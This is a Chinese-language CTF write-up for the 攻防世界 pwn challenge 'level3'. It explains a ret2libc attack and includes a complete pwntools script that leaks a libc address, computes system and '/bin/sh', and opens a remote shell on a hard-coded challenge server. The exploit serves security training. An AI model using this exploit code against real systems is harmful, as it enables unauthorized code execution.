其他分享
首页 > 其他分享> > 攻防世界-pwn-level3

攻防世界-pwn-level3

作者:互联网


一、linux环境下解压

libc_32.so.6是动态链接库。

查看一下保护

可以直接栈溢出;基地址不变化;对数据有执行权限。

二、逻辑程序分析
main函数

vulnerable_function()函数

无system,无binsh,明显为ret2libc

*ret2lib是一种利用缓存区溢出的代码复用漏洞,主要通过覆盖栈帧的返回地址(EIP),使其返回到系统中的库函数。

三、分析和编写脚本
lib内的地址是随机的,但是函数的相对地址是不变的,我们可以通过获取lib中和程序中的write函数地址来得知函数地址的偏移量,并利用lib中的system和binsh和偏移量求出真实的system和binsh函数地址,进而完成system(/bin/sh)
具体步骤:
(1)利用function()函数中的read函数构造溢出,复写返回地址为plt中的write函数地址
(2)通过write函数泄露函数read在内存中的绝对地址,并且接着调用function()函数
(3)计算system和binsh的绝对地址,构造system("/bin/sh")
exp如下:

from pwn import *
from LibcSearcher import *
z = remote('111.198.29.45',36758)
elf = ELF("./11")
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
z.recvuntil(":\n")
payload = 'a'*0x8C + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) +
p32(4)
z.send(payload)
write_addr = u32(z.recv(4))
libc = LibcSearcher('write',write_addr)
libc_addr = write_addr - libc.dump('write')
sys_addr = libc_addr + libc.dump('system')
binsh_addr = libc_addr + libc.dump('str_bin_sh')
z.recvuntil(":\n")
payload2 = 'a'*0x8C + p32(sys_addr) + p32(0) + p32(binsh_addr)
z.send(payload2)
z.interactive()

标签:攻防,addr,libc,write,p32,地址,level3,pwn,函数
来源: https://www.cnblogs.com/diaolan/p/13878518.html